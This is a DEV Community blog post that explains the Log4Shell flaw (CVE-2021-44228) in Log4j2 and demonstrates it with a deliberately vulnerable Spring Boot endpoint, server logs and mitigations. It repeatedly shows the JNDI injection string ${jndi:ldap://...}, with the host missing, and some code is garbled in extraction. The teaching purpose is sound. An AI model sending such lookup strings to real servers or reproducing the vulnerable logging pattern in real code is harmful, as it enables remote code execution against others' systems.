DEV Community

Cover image for Log4j vulnerability
Arpan Bandyopadhyay
Arpan Bandyopadhyay

Posted on

Log4j vulnerability

What is Log4j?

log4j is a logging framework written in Java which is distributed under the Apache Software License.

Log4j2 is an updated version of Log4j.

Description of the vulnerability:
Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0, this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

The usage of the nasty vulnerability in the Java logging library Apache Log4j that allowed unauthenticated remote code execution.

What is RCE?
It stands for Remote code execution. It allows hacker to run any code in your application by hacking your application which is using log4j. This vulnerability nicknamed as Log4Shell.

What is Log4Shell vulnerability?
Log4Shell is a software vulnerability in Apache Log4j 2, a popular Java library for logging error messages in applications. The vulnerability, published as CVE-2021-44228, enables a remote attacker to take control of a device on the internet, if the device is running certain versions of Log4j 2.

There are multiple things that have happened all together resulted in this vulnerability

  • Log4j log expression: Log4j allows you to log expression.

Here is the example :

private static final Logger logger = LogManager.getLogger(TestController.class);
logger.error("error message: {}",exception.getMessage());
Enter fullscreen mode Exit fullscreen mode

Here first we are getting Logger object then in 2nd line , exception message from exception.getMessage() will be plugged in to “error message” inside {}- curly braces .

  • JNDI: It stands for Java Naming Directory Interface. JNDI allows you to store your java objects in a remote location and streaming them to your JVM.

Here is one example:

This is an sample LDAP URL :

I can invoke this URL I will get serialized profile of Arpan from active directory.

This is not Log4j . This is Java feature.

  • JNDI Look up in log message: In 2013 JNDI lookup was introduced in log4j.

The JNDI look up allows variables to be retrieved via JNDI.

Good use case is centralized log configuration.

Image description

Here Log4j is going to look up the Value (Getting the prefix for logging message for my log message from JNDI by passing JNDI url as an argument) and inserted the value in the {}- curly braces .

This is the vulnerability:


Lets say I have one search API which takes input from User and search it at server and returns response .


If we pass ${jndi:ldap://} as a request parameter for data here , then log4j will make a JNDI call to it. This is a problem.

Here is a simple diagram which explains the vulnerability

Image description

Lets assume Hacker sets up one malicious JNDI server and sends a request which contains JNDI url for which end point is a malicious java class present in malicious JNDI server . Now Log4j will look up the url and makes an JNDI request to the JNDI server and JNDI server returns back a serialized malicious object which contains malicious content which can destroy and exploit the application. This is how hackers can have ability to put malicious code in the application's JVM .

This is what the vulnerability is.

Here I have prepared one demo to show the vulnerability .
To do this I have created one spring boot project , in which I have used log4j 2.14 dependency which is vulnerable and I have created one very simple API which returns String .

Image description

public class TestController {
    private static final Logger logger = LogManager.getLogger(TestController.class);

    public String search(@RequestParam("data") String data) {"user input to search data : " + data);
        return data;
Enter fullscreen mode Exit fullscreen mode

Now I will start my spring boot server and hit the server with data as "google". As a result it will return "google". Nothing issue in that.

Image description

In server logs also quite clean. No issue.

2021-12-20 00:58:36.307  INFO 17028 --- [nio-8080-exec-1] o.a.c.c.C.[.[.[/]                        : Initializing Spring DispatcherServlet 'dispatcherServlet'
2021-12-20 00:58:36.307  INFO 17028 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet                : Initializing Servlet 'dispatcherServlet'
2021-12-20 00:58:36.309  INFO 17028 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet                : Completed initialization in 1 ms
2021-12-20 00:58:36.402  INFO 17028 --- [nio-8080-exec-1] c.l.v.l.c.TestController                 : user input to search data : google 
Enter fullscreen mode Exit fullscreen mode

Now I am going to send JNDI url in data as request param .
Lets see what will happen
(Before sending the JNDI url , I have encoded the url)

Image description

From service response I have received whatever I have sent that's fine . But let's look in to the server log

2021-12-20 01:01:35,258 http-nio-8080-exec-3 WARN Error looking up JNDI resource [ldap://]. javax.naming.CommunicationException: [Root exception is Connection refused: connect]
    at com.sun.jndi.ldap.Connection.<init>(
    at com.sun.jndi.ldap.LdapClient.<init>(
    at com.sun.jndi.ldap.LdapClient.getInstance(
    at com.sun.jndi.ldap.LdapCtx.connect(
    at com.sun.jndi.ldap.LdapCtx.<init>(
    at com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(
    at com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(
    at com.sun.jndi.toolkit.url.GenericURLContext.lookup(
    at com.sun.jndi.url.ldap.ldapURLContext.lookup(
    at javax.naming.InitialContext.lookup(
    at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(
    at org.apache.logging.log4j.core.lookup.Interpolator.lookup(
    at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(
    at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(
    at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(
    at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(
    at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(
    at org.apache.logging.log4j.core.pattern.PatternFormatter.format(
    at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(
    at org.apache.logging.log4j.core.layout.PatternLayout.toText(
    at org.apache.logging.log4j.core.layout.PatternLayout.encode(
    at org.apache.logging.log4j.core.layout.PatternLayout.encode(
    at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(
    at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(
    at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(
    at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(
    at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(
    at org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(
    at org.apache.logging.log4j.core.config.AppenderControl.callAppender(
    at org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(
    at org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(
    at org.apache.logging.log4j.core.config.LoggerConfig.log(
    at org.apache.logging.log4j.core.config.LoggerConfig.log(
    at org.apache.logging.log4j.core.config.AwaitCompletionReliabilityStrategy.log(
    at org.apache.logging.log4j.core.Logger.log(
    at org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(
    at org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(
    at org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(
    at org.apache.logging.log4j.spi.AbstractLogger.logMessage(
    at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(
    at java.lang.reflect.Method.invoke(
    at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(
    at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(
    at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(
    at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(
    at org.springframework.web.servlet.DispatcherServlet.doDispatch(
    at org.springframework.web.servlet.DispatcherServlet.doService(
    at org.springframework.web.servlet.FrameworkServlet.processRequest(
    at org.springframework.web.servlet.FrameworkServlet.doGet(
    at javax.servlet.http.HttpServlet.service(
    at org.springframework.web.servlet.FrameworkServlet.service(
    at javax.servlet.http.HttpServlet.service(
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(
    at org.apache.tomcat.websocket.server.WsFilter.doFilter(
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(
    at org.springframework.web.filter.RequestContextFilter.doFilterInternal(
    at org.springframework.web.filter.OncePerRequestFilter.doFilter(
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(
    at org.springframework.web.filter.FormContentFilter.doFilterInternal(
    at org.springframework.web.filter.OncePerRequestFilter.doFilter(
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(
    at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(
    at org.springframework.web.filter.OncePerRequestFilter.doFilter(
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(
    at org.apache.catalina.core.StandardWrapperValve.invoke(
    at org.apache.catalina.core.StandardContextValve.invoke(
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(
    at org.apache.catalina.core.StandardHostValve.invoke(
    at org.apache.catalina.valves.ErrorReportValve.invoke(
    at org.apache.catalina.core.StandardEngineValve.invoke(
    at org.apache.catalina.connector.CoyoteAdapter.service(
    at org.apache.coyote.http11.Http11Processor.service(
    at org.apache.coyote.AbstractProcessorLight.process(
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(
    at java.util.concurrent.ThreadPoolExecutor.runWorker(
    at java.util.concurrent.ThreadPoolExecutor$
    at org.apache.tomcat.util.threads.TaskThread$
Caused by: Connection refused: connect
    at Method)
    at com.sun.jndi.ldap.Connection.createSocket(
    at com.sun.jndi.ldap.Connection.<init>(
    ... 92 more

2021-12-20 01:01:33.090  INFO 17028 --- [nio-8080-exec-3] c.l.v.l.c.TestController                 : user input to search data : ${jndi:ldap://}
Enter fullscreen mode Exit fullscreen mode

Here we can see Log4j is trying to access the JNDI url to get the value to inject it in to the log message. With the same way hacker can send his/her malicious JNDI server details as an input and send their malicious object to the actual running application and can exploit it .

Now question is how to solve this :

  1. You can update the version of log4j2 to 2.17

To do this just add below property to your build.gradle
ext['log4j2.version'] = '2.17.0'

  1. You can disable the look up by passing the JVM arguments in the configuration.


Go to Edit configuration and do the following and add VM option and add below

Image description

Image description

Click apply & ok. Then Restart the server.
After doing the above changes I will hit the same URL again. Now we can see the logs that JNDI look up does not happen.

2021-12-20 01:12:37.671  INFO 20384 --- [nio-8080-exec-1] o.a.c.c.C.[.[.[/]                        : Initializing Spring DispatcherServlet 'dispatcherServlet'
2021-12-20 01:12:37.672  INFO 20384 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet                : Initializing Servlet 'dispatcherServlet'
2021-12-20 01:12:37.674  INFO 20384 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet                : Completed initialization in 2 ms
2021-12-20 01:12:37.761  INFO 20384 --- [nio-8080-exec-1] c.l.v.l.c.TestController                 : user input to search data : ${jndi:ldap://}
Enter fullscreen mode Exit fullscreen mode

I hope log4j vulnerability is clear to all now .

This is the github link where I kept this code .


Happy learning


Let's connect:
LinkedIn :

Top comments (2)

stutipai profile image

Simple to understand and nicely explained!

satindersidhu profile image
Satinder Sidhu

Very well done. Thanks for helping the community.